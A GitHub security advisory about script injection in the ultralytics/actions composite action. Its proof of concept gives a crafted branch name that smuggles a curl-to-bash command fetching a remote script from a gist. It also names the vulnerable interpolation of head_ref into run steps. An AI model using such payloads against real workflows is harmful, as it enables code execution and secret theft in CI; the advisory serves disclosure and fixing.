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Security Advisories: GSA_kwCzR0hTQS03eDI5LXFxbXEtdjZxY84AA-q-
GitHub Actions Script Injection in `ultralytics/actions`
Summary
The Ultralytics action available at https://github.com/marketplace/actions/ultralytics-actions is vulnerable to GitHub Actions script injection. If anyone uses the action within a workflow that runs on the pull_request_target
trigger, then an attacker can inject arbitrary code into that workflow using a crafted branch name.
Details
The issue exists because the action.yml
is a composite action and uses certain fields by GitHub context expression within a run
step:
echo "github.event.pull_request.head.ref: ${{ github.event.pull_request.head.ref }}"
echo "github.ref: ${{ github.ref }}"
echo "github.head_ref: ${{ github.head_ref }}"
echo "github.base_ref: ${{ github.base_ref }}"
In this case, github.head_ref
and github.event.pull_request.head.ref
are user controlled and can be used to inject code.
PoC
-
Create a fork of any repository that uses
ultralytics/actions
within a workflow that runs onpull_request_target
. -
In the fork create a branch as an injection payload, e.g.:
Hacked";{curl,-sSfL,gist.githubusercontent.com/RampagingSloth/6dc549d083b2da1a54d22cc4feac53a4/raw/4b7499772c53085aeedf459d822aee277b5f17a0/poc.sh}${IFS}|${IFS}bash
-
Create a draft pull request.
-
If the action is reachable, then achieve arbitrary code execution.
See my full POC here (https://github.com/AdnaneKhan/Ultralytics_POC/actions/runs/9733997201 and https://github.com/AdnaneKhan/Ultralytics_POC), where I created a test workflow that used the action and achieved arbitrary execution using another account by creating a pull request from a fork.
Impact
Any workflow that uses the action and runs on pull_request_target
is vulnerable to arbitrary code execution within the context of the base branch. An attacker can use this to abuse the GITHUB_TOKEN
or steal secrets from the workflow.
Fix
Sanitize the user-controlled variables using environment vars.
Permalink: https://github.com/advisories/GHSA-7x29-qqmq-v6qcJSON: https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS03eDI5LXFxbXEtdjZxY84AA-q-
Source: GitHub Advisory Database
Origin: Unspecified
Severity: High
Classification: General
Published: 3 months ago
Updated: 3 days ago
CVSS Score: 9.3
CVSS vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:N
Identifiers: GHSA-7x29-qqmq-v6qc
References:
- https://github.com/ultralytics/actions/security/advisories/GHSA-7x29-qqmq-v6qc
- https://github.com/ultralytics/actions/commit/8069e0ac4c23170f308ea6985783e64ca4a7900a
- https://github.com/advisories/GHSA-7x29-qqmq-v6qc
Blast Radius: 1.0
Affected Packages
actions:ultralytics/actions
Affected Version Ranges: <= 0.0.2Fixed in: 0.0.3